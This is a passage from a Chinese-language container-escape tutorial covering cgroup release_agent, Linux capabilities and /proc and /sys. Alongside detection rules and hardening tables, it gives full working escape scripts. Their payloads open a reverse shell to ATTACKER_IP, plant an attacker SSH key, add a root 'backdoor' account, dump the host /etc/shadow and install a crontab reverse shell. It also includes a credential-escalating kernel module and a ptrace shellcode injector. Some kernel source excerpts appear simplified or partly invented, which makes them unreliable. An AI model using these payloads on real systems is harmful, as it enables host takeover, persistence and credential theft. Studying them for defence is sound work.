2.3 安全测试方法
#!/bin/bash
# cgroup-security-check.sh — Cgroup 安全配置检查脚本
echo "=========================================="
echo " Cgroup 安全检测报告"
echo "=========================================="
# 1. 检查 cgroup 版本
echo "[1] Cgroup 版本"
if [ "$(stat -fc %T /sys/fs/cgroup/ 2>/dev/null)" = "cgroup2fs" ]; then
echo " [+] 当前使用: Cgroup v2 (unified)"
echo " [+] release_agent 攻击面不存在"
else
echo " [!] 当前使用: Cgroup v1 (legacy)"
echo " [!] release_agent 攻击面可能存在!"
fi
# 2. 检查 cgroup 挂载
echo "[2] Cgroup 挂载点"
cat /proc/self/mountinfo | grep cgroup || echo " [-] 无 cgroup 挂载信息"
# 3. 检查可写的 cgroup 目录
echo "[3] Cgroup 写权限检查"
CGROUP_BASE="/sys/fs/cgroup"
if [ -d "$CGROUP_BASE" ]; then
for subsys in "$CGROUP_BASE"/*; do
if [ -d "$subsys" ]; then
subsys_name=$(basename "$subsys")
writeable=""
if [ -f "$subsys/release_agent" ] && [ -w "$subsys/release_agent" ]; then
writeable="$writeable release_agent(可写!)"
fi
if [ -f "$subsys/notify_on_release" ] && [ -w "$subsys/notify_on_release" ]; then
writeable="$writeable notify_on_release(可写!)"
fi
if [ -n "$writeable" ]; then
echo " [!] $subsys_name:$writeable"
fi
fi
done
fi
# 4. Cgroup Namespace 检查
echo "[4] Cgroup Namespace"
readlink /proc/self/ns/cgroup 2>/dev/null
# 5. 容器 Cgroup 路径
echo "[5] 容器 Cgroup 路径"
cat /proc/self/cgroup 2>/dev/null | head -5
echo "=========================================="
2.4 逃逸利用:release_agent 完整攻击链
call_usermodehelper 内核源码分析
// linux/kernel/umh.c
// call_usermodehelper — 内核态调用用户态程序的核心入口
int call_usermodehelper(const char *path, char **argv, char **envp, int wait)
{
struct subprocess_info *info;
// prepare_kernel_cred(NULL) 创建 root 凭据!
// 这意味着 usermode helper 始终以 root 身份执行
info = call_usermodehelper_setup(path, argv, envp,
GFP_KERNEL, NULL, NULL, NULL);
if (info == NULL)
return -ENOMEM;
return call_usermodehelper_exec(info, wait);
}
// 关键函数: 设置 helper 进程的凭据
static int call_usermodehelper_exec_async(void *data)
{
struct subprocess_info *sub_info = data;
struct cred *new;
// 创建新的内核凭据 — 以 0:0 (root:root) 运行
new = prepare_kernel_cred(NULL); // <-- NULL = 使用原始root凭据
if (!new) {
sub_info->retval = -ENOMEM;
goto out;
}
commit_creds(new); // 提交 root 凭据到当前进程
// 执行用户态程序
retval = kernel_execve(sub_info->path,
(const char *const *)sub_info->argv,
(const char *const *)sub_info->envp);
// 注意: 此处在 root 上下文中执行!
}
// linux/kernel/cgroup/cgroup-v1.c
// release_agent 的触发路径
static int cgroup1_release(struct inode *inode, struct file *file)
{
struct cgroup *cgrp = inode->i_private;
// 当 cgroup 中所有进程退出时触发
// cgroup1_release_agent_path 将被传递给 call_usermodehelper
// 以 root 身份执行!
}
7步完整利用脚本(bash)
#!/bin/bash
# cgroup-release-agent-escape.sh
# Cgroup v1 release_agent 容器逃逸完整利用
#
# 前置条件:
# 1. 容器使用 cgroup v1
# 2. release_agent 文件可写
# 3. 容器能启动新进程并退出
# 4. 宿主机对应路径的二进制存在且可达
set -e
echo "[*] Cgroup release_agent 逃逸攻击"
echo "[*] ================================"
# 第1步: 定位可写的 cgroup 子系统
echo "[1/7] 定位可写的 cgroup 子系统..."
CGROUP_DIR=""
for subsys in /sys/fs/cgroup/*; do
if [ -d "$subsys" ] && [ -w "$subsys/release_agent" ] 2>/dev/null; then
CGROUP_DIR="$subsys"
echo " [+] 找到: $CGROUP_DIR"
break
fi
done
if [ -z "$CGROUP_DIR" ]; then
echo " [-] 未找到可写 release_agent 的 cgroup 子系统"
exit 1
fi
# 第2步: 收集宿主机信息
echo "[2/7] 收集宿主机信息..."
HOST_DEVICE=""
for dev in /dev/sda1 /dev/nvme0n1p1 /dev/vda1 /dev/xvda1; do
if [ -b "$dev" ]; then
HOST_DEVICE="$dev"
echo " [+] 宿主机设备: $HOST_DEVICE"
break
fi
done
MNT_DIR="/tmp/.hostfs_$$"
mkdir -p "$MNT_DIR"
# 第3步: 准备 payload
echo "[3/7] 准备 payload..."
PAYLOAD_SCRIPT="/tmp/.escape_payload.sh"
cat > "$PAYLOAD_SCRIPT" << 'PAYLOAD_EOF'
#!/bin/bash
# 这个脚本将在宿主机上以 root 身份执行
# 方法1: 反向 shell
ATTACKER_IP="10.0.0.1"
ATTACKER_PORT="4444"
bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 2>/dev/null
# 方法2: 写入 SSH key
mkdir -p /root/.ssh 2>/dev/null
echo "ssh-rsa AAAAB3NzaC1...ATTACKER_KEY..." >> /root/.ssh/authorized_keys 2>/dev/null
# 方法3: 添加特权用户
echo "backdoor::0:0:root:/root:/bin/bash" >> /etc/passwd 2>/dev/null
PAYLOAD_EOF
chmod +x "$PAYLOAD_SCRIPT"
# 第4步: 设置 release_agent 路径
echo "[4/7] 设置 release_agent..."
echo "/tmp/.escape_payload.sh" > "$CGROUP_DIR/release_agent"
# 第5步: 启用 notify_on_release
echo "[5/7] 启用 notify_on_release..."
ATK_CGROUP="$CGROUP_DIR/escape_$$"
mkdir -p "$ATK_CGROUP"
echo 1 > "$ATK_CGROUP/notify_on_release"
# 第6步: 触发 release
echo "[6/7] 触发 release..."
echo $$ > "$ATK_CGROUP/cgroup.procs"
# 第7步: 等待 payload 执行
echo "[7/7] 等待 payload 执行..."
sleep 5
echo "[*] 攻击完成"
Cgroup v2 下的替代逃逸方案
#!/bin/bash
# cgroup-v2-alternative.sh
# Cgroup v2 (无 release_agent) 下的替代攻击路径
echo "[*] Cgroup v2 替代逃逸方法"
# 方法 1: eBPF 程序注入 (需要 CAP_BPF / CAP_SYS_ADMIN)
echo "[+] 方法1: eBPF 程序注入"
echo " 如果容器有 CAP_BPF + CAP_NET_ADMIN:"
# 方法 2: device cgroup 绕过
echo "[+] 方法2: device cgroup 绕过"
ls -la /dev/sd* /dev/nvme* /dev/vd* 2>/dev/null || echo " 无块设备"
# 方法 3: /proc/sysrq-trigger (如可写)
echo "[+] 方法3: SysRq 触发器"
if [ -w /proc/sysrq-trigger ] 2>/dev/null; then
echo " [!] /proc/sysrq-trigger 可写!"
else
echo " [+] /proc/sysrq-trigger 不可写 (安全)"
fi
2.5 实验复现
实验: cgroup release_agent 逃逸
前置条件: 特权容器 + cgroup v1
Step 1: 进入特权容器
docker run -dit --name cgroup-victim --privileged alpine:latest
docker exec -it cgroup-victim /bin/sh
Step 2: 检查 cgroup 版本
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 ...
# cgroup on /sys/fs/cgroup/systemd type cgroup ...
# 如果有 cgroup (v1) 行 → v1 可用
# 如果只有 cgroup2,尝试挂载 v1
mount -t cgroup -o memory cgroup /tmp/cgrp_test 2>/dev/null
echo $?
# 0 = v1 可用, 非 0 = 只有 v2 (release_agent 不可用)
Step 3: 执行完整逃逸
# 获取容器在宿主机上的路径
HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "宿主机路径: $HOST_PATH"
# 挂载 cgroup v1 (尝试多个子系统)
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o cpu cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup cgroup /tmp/cgrp
# 创建子 cgroup
mkdir /tmp/cgrp/escape
# 写入恶意脚本 — 读取宿主机 /etc/shadow
cat > /cmd << 'SCRIPT'
#!/bin/sh
cat /etc/shadow > __HOSTPATH__/output
SCRIPT
sed -i "s|__HOSTPATH__|$HOST_PATH|g" /cmd
chmod +x /cmd
# 配置 release_agent
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
# 触发: 临时进程进入子 cgroup 后退出
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
# 等待内核执行 release_agent
sleep 2
# 读取结果
cat /output
Step 4: 持久化变体
# 变体 1: 写入 SSH 公钥
cat > /cmd << EOF
#!/bin/sh
mkdir -p /root/.ssh
echo "ssh-rsa ATTACKER_KEY attacker@escape-lab" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
EOF
chmod +x /cmd
# 变体 2: 写入 crontab 定时反弹 shell
cat > /cmd << 'EOF'
#!/bin/sh
echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/crontab
EOF
Step 5: 清理
umount /tmp/cgrp 2>/dev/null
rm -rf /tmp/cgrp /cmd /output 2>/dev/null
exit
docker stop cgroup-victim && docker rm cgroup-victim
2.6 检测规则
# falco-rules-cgroup.yaml
- rule: Cgroup release_agent Modification
desc: 检测对 cgroup release_agent 文件的写入
condition: >
container and
(open_write and fd.name contains "/release_agent")
output: >
[Cgroup] release_agent 被修改!
container=%container.name user=%user.name command=%proc.cmdline file=%fd.name
priority: CRITICAL
tags: [container, cgroup, escape, release_agent]
- rule: Cgroup notify_on_release Activation
desc: 检测启用 cgroup notify_on_release
condition: >
container and
(open_write and fd.name contains "/notify_on_release")
output: >
[Cgroup] notify_on_release 被激活!
container=%container.name user=%user.name command=%proc.cmdline
priority: HIGH
tags: [container, cgroup, escape]
- rule: call_usermodehelper Execution from Container
desc: 检测内核从容器触发的 usermode helper 执行
condition: >
container and
proc.name in (hotplug, modprobe) and
proc.pname = "[kworker]"
output: >
[Cgroup] 内核态用户程序执行 (release_agent!)
container=%container.name command=%proc.cmdline
priority: CRITICAL
tags: [container, cgroup, escape, umh]
# auditd-cgroup.rules
-w /sys/fs/cgroup -p wa -k cgroup_release_agent
-a always,exit -F arch=b64 -S write -F dir=/sys/fs/cgroup -k cgroup_write
2.7 加固方案
| 加固措施 | 具体操作 | 防御层级 | 效果 |
|---|---|---|---|
| 升级到 Cgroup v2 | 内核 systemd.unified_cgroup_hierarchy=1 |
内核层 | 彻底移除 release_agent |
| 挂载 cgroup 为只读 | Docker: 默认只读挂载 cgroup | 运行时层 | 阻止 release_agent 写入 |
| 移除 SYS_ADMIN | --cap-drop=SYS_ADMIN |
容器层 | 阻止 mount/mknod 等操作 |
| AppArmor/SELinux | 限制 /sys/fs/cgroup/*/release_agent 写权限 |
LSM 层 | 细粒度文件控制 |
| Seccomp 过滤 | 禁止 mount 系统调用 |
容器运行时 | 进程级拦截 |
| PSP/OPA 策略 | 强制 readOnlyRootFilesystem: true |
编排层 | 限制作业文件写入 |
第三章 Capabilities — 细粒度权限的边界
3.1 设计原理与内核实现
为什么需要 Capabilities
传统 Unix 权限模型是二元的:要么是 root (UID 0),要么是普通用户。root 拥有所有特权,普通用户一无所获。Capabilities 将 root 的全权拆分为 40+ 个独立的"能力位",每个能力位控制一类特权操作。
最终目标: 让进程只拥有完成任务所需的最小权限,而非全部 root 权限。
内核源码:capability.h
// linux/include/uapi/linux/capability.h
#define CAP_CHOWN 0 /* 修改文件所有者 */
#define CAP_DAC_OVERRIDE 1 /* 绕过文件读/写/执行权限检查 */
#define CAP_DAC_READ_SEARCH 2 /* 绕过文件读权限和目录搜索权限 */
#define CAP_FOWNER 3 /* 绕过文件所有者匹配检查 */
#define CAP_FSETID 4 /* 设置 SUID/SGID 位 */
#define CAP_KILL 5 /* 向任意进程发送信号 */
#define CAP_SETGID 6 /* 操纵进程 GID */
#define CAP_SETUID 7 /* 操纵进程 UID */
#define CAP_SETPCAP 8 /* 设置进程的 Capability 集合 */
#define CAP_NET_BIND_SERVICE 10 /* 绑定特权端口 (<1024) */
#define CAP_NET_ADMIN 12 /* 网络管理 */
#define CAP_NET_RAW 13 /* 使用 RAW/PACKET socket */
#define CAP_SYS_MODULE 16 /* 加载/卸载内核模块 */
#define CAP_SYS_RAWIO 17 /* 直接 IO 端口/内存访问 */
#define CAP_SYS_CHROOT 18 /* 使用 chroot() */
#define CAP_SYS_PTRACE 19 /* 跟踪任意进程 */
#define CAP_SYS_ADMIN 21 /* 系统管理 (范围最广,最危险!) */
#define CAP_SYS_BOOT 22 /* 重启系统 */
#define CAP_MKNOD 27 /* 创建设备节点 (mknod) */
#define CAP_BPF 39 /* 加载 eBPF 程序 (5.8+) */
#define CAP_LAST_CAP 40 /* checkpoint/restore (5.9+) */
内核核心宏:__capable()
// linux/kernel/capability.c
bool __capable(struct user_namespace *ns, int cap)
{
return ns_capable_noaudit(ns, cap);
}
// capable() — 简化版,在 init_user_ns 中检查
static inline bool capable(int cap)
{
return __capable(current_user_ns(), cap);
}
// CAP_TO_INDEX / CAP_TO_MASK 宏
#define CAP_TO_INDEX(x) ((x) >> 5) /* x / 32 */
#define CAP_TO_MASK(x) (1u << ((x) & 31)) /* 1 << (x % 32) */
3.2 Capabilities 生命周期
Linux 为每个进程维护 5 个 Capability 集合:
┌──────────────────────────────────────────────────────────────┐
│ 进程 Capability 5 集合模型 │
│ │
│ ┌──────────────────┐ ┌───────────────────┐ │
│ │ Permitted Set │───────►│ Effective Set │ │
│ │ (允许的能力集) │ prctl()│ (当前生效集) │ │
│ │ 不会自动生效 │ │ 系统调用检查此集 │ │
│ └────────┬─────────┘ └───────────────────┘ │
│ │ │
│ │ ┌───────────────────┐ │
│ ├────────►│ Inheritable Set │ │
│ │ │ (可继承能力集) │ │
│ │ │ execve() 时传递 │ │
│ │ └───────────────────┘ │
│ │ │
│ │ ┌───────────────────┐ │
│ ├────────►│ Ambient Set │ │
│ │ │ (环境能力集 4.3+) │ │
│ │ │ 非 setuid 继承 │ │
│ │ └───────────────────┘ │
│ │ │
│ │ ┌───────────────────┐ │
│ └────────►│ Bounding Set │ │
│ │ (能力上限集) │ │
│ │ 限制可获得的 CAP │ │
│ └───────────────────┘ │
└──────────────────────────────────────────────────────────────┘
3.3 安全测试方法
#!/bin/bash
# cap-check.sh — 容器内 Capabilities 安全检查
echo "=== Capabilities 检查 ==="
# 检查当前进程的有效 Capabilities
echo "[1] 当前进程 CapEff:"
cat /proc/self/status | grep CapEff
# 解码 Capabilities 位图
echo ""
echo "[2] 解码 CapEff 位图:"
CAPEFF=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
if [ -n "$CAPEFF" ]; then
# 检查关键 CAP 位
for cap in "0:CAP_CHOWN" "1:CAP_DAC_OVERRIDE" "2:CAP_DAC_READ_SEARCH" "7:CAP_SETUID" "8:CAP_SETPCAP" "13:CAP_NET_RAW" "16:CAP_SYS_MODULE" "17:CAP_SYS_RAWIO" "19:CAP_SYS_PTRACE" "21:CAP_SYS_ADMIN" "27:CAP_MKNOD"; do
bit=$(echo $cap | cut -d: -f1)
name=$(echo $cap | cut -d: -f2)
# 使用 Python 检查位
result=$(python3 -c "print('SET' if (0x$CAPEFF >> $bit) & 1 else '-')" 2>/dev/null)
if [ "$result" = "SET" ]; then
echo " [!] $name (bit $bit) = SET"
fi
done
fi
# 检查是否为 --privileged
echo ""
echo "[3] 特权模式检查:"
if [ "$CAPEFF" = "0000003fffffffff" ]; then
echo " [!] 全部 Capabilities! (--privileged)"
elif echo "$CAPEFF" | grep -q "3fffffff"; then
echo " [!] 几乎全部 Capabilities"
else
echo " [+] Capabilities 受限"
fi
# 检查 no-new-privileges
echo ""
echo "[4] NoNewPrivileges:"
if cat /proc/self/status | grep -q NoNewPrivs; then
NNP=$(cat /proc/self/status | grep NoNewPrivs | awk '{print $2}')
echo " NoNewPrivs: $NNP"
fi
3.4 逃逸利用:单 CAP 逃逸路径
以下列出 5 条只需要单个 Capability 即可完成逃逸的路径。
路径 1: CAP_SYS_ADMIN — 万能逃逸
# CAP_SYS_ADMIN 可以:
# - 挂载 cgroup → release_agent 逃逸
# - 挂载设备 → 直接读写宿主机磁盘
# - nsenter → 切换到宿主机 NS
# - 修改 /proc/sys 内核参数
# 典型利用: cgroup release_agent (见第二章)
HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
mkdir /tmp/cgrp/escape
cat > /cmd << EOF
#!/bin/sh
id > $HOST_PATH/output
EOF
chmod +x /cmd
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
sleep 2
cat /output
# uid=0(root) — 在宿主机上以 root 执行!
路径 2: CAP_SYS_MODULE — 内核 rootkit
// rootkit.c — 加载此模块直接获得宿主机内核级 root
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
static int __init rootkit_init(void) {
struct cred *new_cred;
new_cred = prepare_creds();
if (new_cred) {
new_cred->uid.val = new_cred->gid.val = 0;
new_cred->euid.val = new_cred->egid.val = 0;
commit_creds(new_cred);
printk(KERN_INFO "rootkit: credentials escalated\n");
}
return 0;
}
static void __exit rootkit_exit(void) {
printk(KERN_INFO "rootkit: unloaded\n");
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
路径 3: CAP_SYS_PTRACE — 进程注入
// ptrace_inject.c — 注入 shellcode 到宿主机进程
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
// x86_64 反弹 shell shellcode
unsigned char shellcode[] =
"\x48\x31\xff\x48\xf7\xe7\x50\x48\xbf"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54"
"\x5f\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
if (argc < 2) {
fprintf(stderr, "Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target = atoi(argv[1]);
struct user_regs_struct regs;
// 附加到目标进程
ptrace(PTRACE_ATTACH, target, NULL, NULL);
waitpid(target, NULL, 0);
// 保存原始寄存器
ptrace(PTRACE_GETREGS, target, NULL, ®s);
// 写入 shellcode 到 RIP 位置
long *ptr = (long *)shellcode;
for (int i = 0; i < sizeof(shellcode) / sizeof(long); i++) {
ptrace(PTRACE_POKETEXT, target,
(void *)(regs.rip + i * sizeof(long)),
(void *)ptr[i]);
}
// 修改 RIP 指向 shellcode
regs.rip += 2; // 跳过一些字节
ptrace(PTRACE_SETREGS, target, NULL, ®s);
// 继续执行
ptrace(PTRACE_DETACH, target, NULL, NULL);
return 0;
}
路径 4: CAP_DAC_READ_SEARCH — 读取宿主机任意文件
# CAP_DAC_READ_SEARCH 绕过文件读权限检查
# 可以读取宿主机上的任意文件,包括:
# - /etc/shadow
# - /root/.ssh/
# - 其他容器的配置
# 直接读取 (需要挂载宿主机目录)
cat /hostfs/etc/shadow
cat /hostfs/root/.ssh/authorized_keys
# 或者通过 /proc/1/root (如果 PID NS 共享)
ls /proc/1/root/etc/
cat /proc/1/root/etc/shadow
路径 5: CAP_SYS_RAWIO — 块设备直接访问
# CAP_SYS_RAWIO 允许直接访问块设备
# 可以读写宿主机的原始磁盘数据
# 检查可用块设备
ls -la /dev/sd* /dev/nvme* /dev/vd* 2>/dev/null
# 直接读取磁盘 (概念验证)
dd if=/dev/sda1 bs=512 count=2 2>/dev/null | strings | head -20
# 挂载宿主机磁盘
mkdir -p /mnt/hostfs
mount /dev/sda1 /mnt/hostfs 2>/dev/null && echo "挂载成功!" || echo "挂载失败"
3.5 实验复现
实验 A: CAP_SYS_ADMIN 逃逸
# 创建只添加 CAP_SYS_ADMIN 的容器
docker run -dit --name cap-admin \
--cap-add CAP_SYS_ADMIN \
--security-opt apparmor=disabled \
--security-opt seccomp=unconfined \
alpine:latest
docker exec -it cap-admin /bin/sh
# 利用: cgroup release_agent
HOST_PATH=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
mkdir -p /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp 2>/dev/null || \
mount -t cgroup -o memory cgroup /tmp/cgrp 2>/dev/null
mkdir /tmp/cgrp/escape
cat > /cmd << EOF
#!/bin/sh
id > $HOST_PATH/output
EOF
chmod +x /cmd
echo 1 > /tmp/cgrp/escape/notify_on_release
echo "$HOST_PATH/cmd" > /tmp/cgrp/release_agent
sh -c "echo \$\$ > /tmp/cgrp/escape/cgroup.procs"
sleep 2
cat /output
# uid=0(root) — 逃逸成功!
exit
docker stop cap-admin && docker rm cap-admin
实验 B: CAP_SYS_MODULE 逃逸
docker run -dit --name cap-module \
--cap-add CAP_SYS_MODULE \
--security-opt seccomp=unconfined \
alpine:latest
docker exec -it cap-module /bin/sh
# 安装编译工具
apk add --no-cache linux-headers build-base
# 编写内核模块 (同上 rootkit.c)
cat > /tmp/rootkit.c << 'EOF'
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
static int __init rootkit_init(void) {
struct cred *new_cred = prepare_creds();
if (new_cred) {
new_cred->uid.val = new_cred->gid.val = 0;
new_cred->euid.val = new_cred->egid.val = 0;
commit_creds(new_cred);
}
return 0;
}
static void __exit rootkit_exit(void) {}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
EOF
# 编译并加载
cd /tmp
make -C /lib/modules/$(uname -r)/build M=$(pwd) modules 2>&1
insmod rootkit.ko
id
# uid=0(root) — 内核级 root!
rmmod rootkit 2>/dev/null
exit
docker stop cap-module && docker rm cap-module
实验 C: CAP_SYS_PTRACE 逃逸
docker run -dit --name cap-ptrace \
--cap-add CAP_SYS_PTRACE \
--pid=host \
alpine:latest
docker exec -it cap-ptrace /bin/sh
# --pid=host 共享宿主机 PID namespace
ps aux # 可以看到宿主机所有进程
# 安装调试工具
apk add --no-cache strace gdb
# 追踪宿主机进程
strace -p 1 -f -e trace=read,write 2>&1 | head -20
exit
docker stop cap-ptrace && docker rm cap-ptrace
3.6 检测规则
# falco-rules-capabilities.yaml
- rule: Container with CAP_SYS_ADMIN
desc: 检测拥有 CAP_SYS_ADMIN 的容器
condition: container and container.image.repository != "" and cap_raw = CAP_SYS_ADMIN
output: "[CAP] 容器拥有 CAP_SYS_ADMIN container=%container.name image=%container.image.repository"
priority: WARNING
tags: [container, capabilities, high_risk]
- rule: Container with CAP_SYS_MODULE
desc: 检测拥有 CAP_SYS_MODULE 的容器
condition: container and cap_raw = CAP_SYS_MODULE
output: "[CAP] 容器拥有 CAP_SYS_MODULE container=%container.name"
priority: CRITICAL
tags: [container, capabilities, escape]
- rule: Kernel Module Load from Container
desc: 检测容器内加载内核模块
condition: >
container and
(syscall = init_module or syscall = finit_module)
output: "[CAP] 容器内加载内核模块! container=%container.name command=%proc.cmdline"
priority: CRITICAL
tags: [container, capabilities, kernel_module, escape]
- rule: PTRACE Attach to Host Process
desc: 检测容器内 ptrace 附加到宿主机进程
condition: >
container and
syscall = ptrace and
not proc.pname in (runc, containerd)
output: "[CAP] ptrace 附加操作 container=%container.name pid=%proc.pid"
priority: CRITICAL
tags: [container, capabilities, ptrace, escape]
3.7 加固方案
| 加固措施 | 具体操作 | 防御层级 | 效果 |
|---|---|---|---|
| CAP 最小化 | --cap-drop ALL + 按需添加 |
容器层 | 消除多余攻击面 |
| 移除 SYS_ADMIN | 不得使用 --cap-add CAP_SYS_ADMIN |
容器层 | 阻止 cgroup/mount 逃逸 |
| 移除 SYS_MODULE | 不得使用 --cap-add CAP_SYS_MODULE |
容器层 | 阻止内核模块加载 |
| 移除 SYS_PTRACE | 不得使用 --cap-add CAP_SYS_PTRACE |
容器层 | 阻止进程注入 |
| no-new-privs | --security-opt no-new-privs |
容器层 | 禁止 Capability 提升 |
| Seccomp profile | 自定义 seccomp 禁止 init_module/finit_module | 运行时层 | 系统调用级拦截 |
| AppArmor | 限制 ptrace、mount 等操作 | LSM 层 | 细粒度操作控制 |
| K8s PSP/OPA | 强制 drop: ["ALL"] |
编排层 | 策略强制 |
第四章 /proc 和 /sys — 信息金矿与控制接口
关键理解:
/proc和/sys是内核暴露给用户态的接口,设计上就允许用户态读写。容器内的进程作为"用户态进程",天然有权限访问这些接口。问题是:这些接口中相当一部分操作影响的是宿主机,而非容器。
4.1 设计原理与内核实现
proc_fs 文件系统
/proc 是一个虚拟文件系统,不存储在磁盘上,而是由内核在访问时动态生成内容。它不是普通的文件系统,而是内核向用户态暴露信息的接口。
// linux/fs/proc/root.c
// /proc 文件系统的注册
static struct file_system_type proc_fs_type = {
.name = "proc",
.init_fs_context = proc_init_fs_context,
.parameters = proc_fs_parameters,
.kill_sb = proc_kill_sb,
.fs_flags = FS_USERNS_MOUNT | FS_DISALLOW_NOTIFY_PERM,
};
// linux/fs/proc/inode.c
// proc 节点创建时的权限初始化为 world-readable
// 这就是为什么 /proc 中大量信息对所有用户可读!
static void proc_reg_get_unmapped_area(struct file *file, ...) {
// proc 文件的默认权限通常来自 GLOBAL_ROOT_UID/GID
// 但也受 PTRACE_MODE_READ 限制
}
seq_file 接口
/proc 中的大多数文件使用 seq_file 接口输出内容:
// linux/fs/seq_file.c
// seq_file 用于生成顺序读取的 /proc 文件
// 每次 read() 调用从头开始生成完整内容
static const struct seq_operations proc_pid_maps_op = {
.start = m_start,
.next = m_next,
.stop = m_stop,
.show = show_map, // ← 每次 show() 调用输出一行
};
// seq_file 关键特性:
// 1. 内容不会被缓存,每次 read() 都重新生成
// 2. 生成内容时检查当前进程上下文 (current 宏)
// 3. 这意味着: 容器进程读取 /proc 时,看到的是
// 该进程视角的 Namespace 信息
为什么 /proc 是信息泄漏的重灾区?
/proc 的设计哲学是"一切皆文件"和"透明可见",但这与容器的"最小可见"原则存在根本冲突。容器进程仍然是 Linux 进程,享有对所有自己 PID namespace 可见的 /proc 条目的读取权限。当 --pid=host 或特权容器被使用时,这种冲突达到顶峰 — 攻击者可以直接看到宿主机的所有进程信息。
/sys 与 /proc 的关键区别:
/proc是只读为主的文件系统(某些条目可写如core_pattern),主要用于信息暴露/sys是可写为主的文件系统,用于控制内核和硬件设备的行为- 在容器安全上下文中,
/sys的可写接口比/proc更加危险,因为它们直接控制硬件级行为
4.2 /proc 信息泄漏路径矩阵
| /proc 路径 | 泄漏内容 | 在容器内的可见性 | 攻击价值 |
|---|---|---|---|
/proc/self/mountinfo |
所有挂载点详情(含宿主机路径) | 总是可见 | 高 — 暴露宿主机 OverlayFS upperdir/workdir 路径 |
/proc/self/maps |
进程内存映射 | 仅自身进程 | 中 — ASLR 绕过、内存布局信息 |
/proc/self/environ |
进程环境变量 | 仅自身进程 | 中 — 可能含 token、密钥等敏感信息 |
/proc/1/cmdline |
PID 1 的命令行 | 容器 PID NS 内可见 | 低 — 容器 init 进程信息 |
/proc/1/environ |
PID 1 的环境变量 | 容器 PID NS 内可见 | 中 — 容器入口参数 |
/proc/<host_pid>/ns/* |
宿主机进程 NS 文件 | 特权容器或 PID NS 泄漏时 | 高 — 切换到宿主机 NS |
/proc/<host_pid>/root |
宿主机进程根目录 | 同上 | 高 — 直接读写宿主机文件系统 |
/proc/<host_pid>/mem |
宿主机进程内存 | 需要 ptrace 权限 |
高 — 注入/读取其他进程 |
/proc/<host_pid>/maps |
宿主机进程内存布局 | 同上 | 中 — 信息收集 |
/proc/<host_pid>/fd/* |
宿主机进程打开的文件描述符 | 同上 | 高 — fd 泄漏导致逃逸 |
/proc/net/* |
网络连接、ARP、路由表 | 取决于 Net NS | 中 — 网络拓扑信息 |
/proc/sched_debug |
CPU 调度器内部状态 | root 可读 | 低 — 侧信道攻击 |
/proc/version |
内核版本字符串 | 总是可见 | 低 — 版本信息收集 |
/proc/cmdline |
内核启动参数 | 取决于隔离级别 | 中 — 暴露内核配置/风险点 |
/proc/kallsyms |
内核符号地址 | root 可读 (KASLR) | 高 — 绕过 KASLR |
/proc/kcore |
内核虚拟内存 (ELF) | root 可读 (受限) | 高 — 直接访问内核内存 |
/proc/sysrq-trigger |
SysRq 系统命令 | root 可写 | 高 — 重启/崩溃系统 |
关键理解 — 为什么这些路径可以被攻击者利用:
- Namespace 边界不完整:
/proc/self/mountinfo始终暴露真实挂载路径(包含宿主机路径前缀),因为挂载操作发生在宿主机内核上下文中 - PID NS 泄漏: 当使用
--pid=host时,容器内可见所有宿主机进程的/proc/<pid>条目 - 权限继承问题: 容器内 root 的 UID 0 与宿主机 root 的 UID 0 是同一个数字,默认情况下内核只检查 UID 数值,不检查 Namespace
4.3 /sys 控制接口攻击面
core_pattern 注入 — 内核级代码执行通道
// linux/fs/coredump.c
// core_pattern 用于指定 core dump 的输出方式
// 可以设置为管道符号 | 后接一个用户态程序路径
// 当任何进程崩溃时,内核会以 root 身份执行该程序!
static int format_corename(struct core_name *cn, struct coredump_params *cprm,
int *argv_start)
{
// 如果 core_pattern 以 | 开头:
// |/path/to/program %p %s %u %g %e ...
// 内核会:
// 1. 将崩溃进程的 core dump 写入管道
// 2. 以 root 身份调用 /path/to/program
// 3. 将 core dump 数据通过 stdin 传给程序
//
// 容器逃逸利用:
// 1. 修改 /proc/sys/kernel/core_pattern 为 |/tmp/.payload.sh
// 2. 触发容器内任意进程崩溃 (kill -SEGV)
// 3. 内核在宿主机以 root 执行 payload.sh
// 4. 逃逸完成
}
// linux/fs/coredump.c
static void do_coredump(struct linux_binfmt *binfmt, ...)
{
struct cred *run_cred;
// 关键: core dump handler 使用 init 的凭据执行
// 这意味着在主机上下文中以 root 运行!
run_cred = prepare_kernel_cred(NULL);
commit_creds(run_cred);
call_usermodehelper(core_helper_path, ...);
}
core_pattern 注入的完整攻击链:
容器内攻击者 → 写 /proc/sys/kernel/core_pattern = "|/path/to/payload.sh %p"
→ 触发进程崩溃 (kill -SEGV <pid>)
→ 内核执行 do_coredump()
